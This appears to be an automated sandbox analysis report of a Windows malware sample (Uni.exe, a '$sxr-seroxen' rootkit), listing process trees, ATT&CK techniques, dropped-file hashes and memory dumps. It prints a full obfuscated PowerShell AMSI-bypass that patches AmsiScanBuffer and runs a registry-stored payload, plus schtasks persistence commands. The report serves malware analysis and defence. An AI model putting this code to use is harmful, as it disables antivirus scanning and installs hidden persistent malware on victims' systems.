- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:hEGZyiAADzns{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$YhtcgYbMtjAOvH,[Parameter(Position=1)][Type]$XbWDqJNChT)$xcqFCGnzNwX=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+'f'+''+[Char](108)+''+[Char](101)+''+'c'+''+[Char](116)+'e'+'d'+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+'a'+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+[Char](77)+''+'e'+''+'m'+'o'+[Char](114)+''+[Char](121)+''+'M'+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+'e',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+''+'e'+'leg'+[Char](97)+''+'t'+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+'p'+''+'e'+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+',P'+[Char](117)+'b'+[Char](108)+''+[Char](105)+'c'+[Char](44)+'S'+[Char](101)+'ale'+[Char](100)+''+[Char](44)+''+[Char](65)+''+'n'+''+[Char](115)+''+[Char](105)+''+[Char](67)+'la'+'s'+''+[Char](115)+''+[Char](44)+''+[Char](65)+'ut'+'o'+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$xcqFCGnzNwX.DefineConstructor('R'+[Char](84)+''+[Char](83)+'p'+[Char](101)+''+'c'+''+'i'+'a'+[Char](108)+'N'+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+'H'+'i'+''+'d'+''+'e'+''+[Char](66)+'y'+'S'+''+'i'+'g'+','+''+[Char](80)+''+[Char](117)+'bli'+'c'+'',[Reflection.CallingConventions]::Standard,$YhtcgYbMtjAOvH).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'nt'+'i'+''+'m'+''+[Char](101)+',M'+[Char](97)+''+[Char](110)+''+[Char](97)+'ge'+[Char](100)+'');$xcqFCGnzNwX.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+'e'+'',''+[Char](80)+''+[Char](117)+'bl'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+'B'+''+'y'+'Si'+'g'+''+','+'N'+'e'+''+[Char](119)+''+'S'+''+'l'+''+'o'+''+[Char](116)+','+[Char](86)+'ir'+'t'+''+[Char](117)+''+[Char](97)+'l',$XbWDqJNChT,$YhtcgYbMtjAOvH).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+'a'+''+'g'+''+[Char](101)+''+'d'+'');Write-Output $xcqFCGnzNwX.CreateType();}$ifoIrRkWZWAkb=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+[Char](116)+'e'+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+'i'+''+'c'+''+[Char](114)+''+'o'+'s'+'o'+'ft'+[Char](46)+'W'+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+'s'+'a'+'f'+''+'e'+''+[Char](78)+'a'+'t'+''+[Char](105)+'ve'+[Char](77)+'e'+[Char](116)+''+[Char](104)+''+[Char](111)+''+'d'+''+[Char](115)+'');$CZCcqBKopwUmBJ=$ifoIrRkWZWAkb.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](80)+''+'r'+''+'o'+'cAd'+[Char](100)+'res'+'s'+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+','+''+[Char](83)+'t'+[Char](97)+'t'+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$rpSYFmBoPIlpIXxEdvM=hEGZyiAADzns @([String])([IntPtr]);$qXTPMlqECuAaZrkvboPcby=hEGZyiAADzns @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$vQsjSZUeBbu=$ifoIrRkWZWAkb.GetMethod(''+'G'+''+[Char](101)+'t'+[Char](77)+''+[Char](111)+'d'+[Char](117)+''+[Char](108)+''+'e'+''+[Char](72)+'a'+[Char](110)+''+'d'+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+'r'+''+[Char](110)+'el'+[Char](51)+''+'2'+''+[Char](46)+'dl'+'l'+'')));$JlAqrWmPAXRseU=$CZCcqBKopwUmBJ.Invoke($Null,@([Object]$vQsjSZUeBbu,[Object](''+[Char](76)+''+[Char](111)+'a'+[Char](100)+''+[Char](76)+''+'i'+''+[Char](98)+''+'r'+''+[Char](97)+''+[Char](114)+'y'+'A'+'')));$TdiqfxOStBUnZhaQH=$CZCcqBKopwUmBJ.Invoke($Null,@([Object]$vQsjSZUeBbu,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+'u'+'a'+''+[Char](108)+''+[Char](80)+''+'r'+''+'o'+''+'t'+''+[Char](101)+'c'+'t'+'')));$SMlVqZI=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JlAqrWmPAXRseU,$rpSYFmBoPIlpIXxEdvM).Invoke(''+[Char](97)+''+[Char](109)+'s'+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$dpFMSctpujmJLeGFE=$CZCcqBKopwUmBJ.Invoke($Null,@([Object]$SMlVqZI,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+'c'+'a'+'n'+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$uwjRVkkjsG=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TdiqfxOStBUnZhaQH,$qXTPMlqECuAaZrkvboPcby).Invoke($dpFMSctpujmJLeGFE,[uint32]8,4,[ref]$uwjRVkkjsG);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$dpFMSctpujmJLeGFE,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TdiqfxOStBUnZhaQH,$qXTPMlqECuAaZrkvboPcby).Invoke($dpFMSctpujmJLeGFE,[uint32]8,0x20,[ref]$uwjRVkkjsG);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+'F'+''+'T'+''+'W'+''+[Char](65)+''+'R'+''+'E'+'').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+''+[Char](115)+''+[Char](116)+''+'a'+'g'+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2024
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1400

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1540
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:800

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1756

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1852

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1900

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2044

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2112

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2220

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2552

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2580

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2588

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2496

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3116

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3316
- C:\Users\Admin\AppData\Local\Temp\Uni.exe
  "C:\Users\Admin\AppData\Local\Temp\Uni.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2064
- - C:\Windows\SysWOW64\schtasks.exe
    "schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Uni.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:4496
- - C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe
    "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:4664
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe" /rl HIGHEST /f
      4⤵
      Creates scheduled task(s)
      PID:1300
  - - C:\Users\Admin\AppData\Local\Temp\install.exe
      "C:\Users\Admin\AppData\Local\Temp\install.exe"
      4⤵
      Executes dropped EXE
      PID:2160
- - C:\Users\Admin\AppData\Local\Temp\install.exe
    "C:\Users\Admin\AppData\Local\Temp\install.exe"
    3⤵
    - Executes dropped EXE
    PID:2908
- - C:\Windows\SysWOW64\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "$77Uni.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Uni.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:3556

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3520

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3908

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3972

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3544

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:544

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4788

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Modifies data under HKEY_USERS
PID:3736

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3452

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3280

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4140

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4124

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:4476

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\install.exe

Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe

Filesize
409KB

MD5
7417c8c73e614f293152575f46134216

SHA1
cc68f7f5e7c769efb5b3e06bfb3a2f9329f37805

SHA256
00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3

SHA512
897a859e609028157f2721d76b97497d4b9f821d2b8be3359d1192ddc3a83d4b7449db25c63c3c260067b796c122194c48747dc611c98dc1e33aab82a20b98b0

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_2qtx4mc5.00r.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
2a85d87e127785512327e0790cd28937

SHA1
fcffe5c0db9af3e2fce4b8dc86010168722311bc

SHA256
bfc1f4e3abf514e11cadd965139eba7394d496b94c23f771189f37df4a541272

SHA512
45b406a1a26fee3dc59acb0a8f2f98b442ef9de715715ea3c43acfe0c5c6dd2d0949607045c4862bdbfb8fdfc6481f3d7ff299be42d5ca3d0228f5022062de59

Download Submit
memory/444-99-0x00007FFD78EB0000-0x00007FFD78EC0000-memory.dmp

Filesize
64KB

Download
memory/444-92-0x0000020E7CC80000-0x0000020E7CCAB000-memory.dmp

Filesize
172KB

Download
memory/444-98-0x0000020E7CC80000-0x0000020E7CCAB000-memory.dmp

Filesize
172KB

Download
memory/644-58-0x000001E380110000-0x000001E38013B000-memory.dmp

Filesize
172KB

Download
memory/644-65-0x000001E380110000-0x000001E38013B000-memory.dmp

Filesize
172KB

Download
memory/644-66-0x00007FFD78EB0000-0x00007FFD78EC0000-memory.dmp

Filesize
64KB

Download
memory/644-59-0x000001E380110000-0x000001E38013B000-memory.dmp

Filesize
172KB

Download
memory/644-57-0x000001E3800E0000-0x000001E380105000-memory.dmp

Filesize
148KB

Download
memory/704-70-0x00000243F98B0000-0x00000243F98DB000-memory.dmp

Filesize
172KB

Download
memory/704-76-0x00000243F98B0000-0x00000243F98DB000-memory.dmp

Filesize
172KB

Download
memory/704-77-0x00007FFD78EB0000-0x00007FFD78EC0000-memory.dmp

Filesize
64KB

Download
memory/968-103-0x00000131091C0000-0x00000131091EB000-memory.dmp

Filesize
172KB

Download
memory/1008-88-0x00007FFD78EB0000-0x00007FFD78EC0000-memory.dmp

Filesize
64KB

Download
memory/1008-87-0x000001D6F89B0000-0x000001D6F89DB000-memory.dmp

Filesize
172KB

Download
memory/1008-81-0x000001D6F89B0000-0x000001D6F89DB000-memory.dmp

Filesize
172KB

Download
memory/2064-2-0x0000000005F30000-0x00000000064D6000-memory.dmp

Filesize
5.6MB

Download
memory/2064-1-0x0000000000F30000-0x0000000000F9C000-memory.dmp

Filesize
432KB

Download
memory/2064-6-0x0000000006780000-0x0000000006792000-memory.dmp

Filesize
72KB

Download
memory/2064-7-0x0000000006CB0000-0x0000000006CEC000-memory.dmp

Filesize
240KB

Download
memory/2064-4-0x00000000746C0000-0x0000000074E71000-memory.dmp

Filesize
7.7MB

Download
memory/2064-3-0x0000000005AF0000-0x0000000005B82000-memory.dmp

Filesize
584KB

Download
memory/2064-0-0x00000000746CE000-0x00000000746CF000-memory.dmp

Filesize
4KB

Download
memory/2064-5-0x0000000005A60000-0x0000000005AC6000-memory.dmp

Filesize
408KB

Download
memory/2064-20-0x00000000746C0000-0x0000000074E71000-memory.dmp

Filesize
7.7MB

Download
memory/2256-53-0x00007FFDB8030000-0x00007FFDB80ED000-memory.dmp

Filesize
756KB

Download
memory/2256-52-0x00007FFDB8E20000-0x00007FFDB9029000-memory.dmp

Filesize
2.0MB

Download
memory/2256-49-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2256-48-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2256-54-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2256-46-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2256-51-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2256-47-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4664-13-0x00000000746C0000-0x0000000074E71000-memory.dmp

Filesize
7.7MB

Download
memory/4664-14-0x00000000746C0000-0x0000000074E71000-memory.dmp

Filesize
7.7MB

Download
memory/4664-34-0x0000000007040000-0x000000000704A000-memory.dmp

Filesize
40KB

Download
memory/4664-1288-0x00000000746C0000-0x0000000074E71000-memory.dmp

Filesize
7.7MB

Download
memory/4696-29-0x000001F3F1F30000-0x000001F3F1F52000-memory.dmp

Filesize
136KB

Download
memory/4696-44-0x00007FFDB8E20000-0x00007FFDB9029000-memory.dmp

Filesize
2.0MB

Download
memory/4696-43-0x000001F3F22C0000-0x000001F3F22EA000-memory.dmp

Filesize
168KB

Download
memory/4696-45-0x00007FFDB8030000-0x00007FFDB80ED000-memory.dmp

Filesize
756KB

Download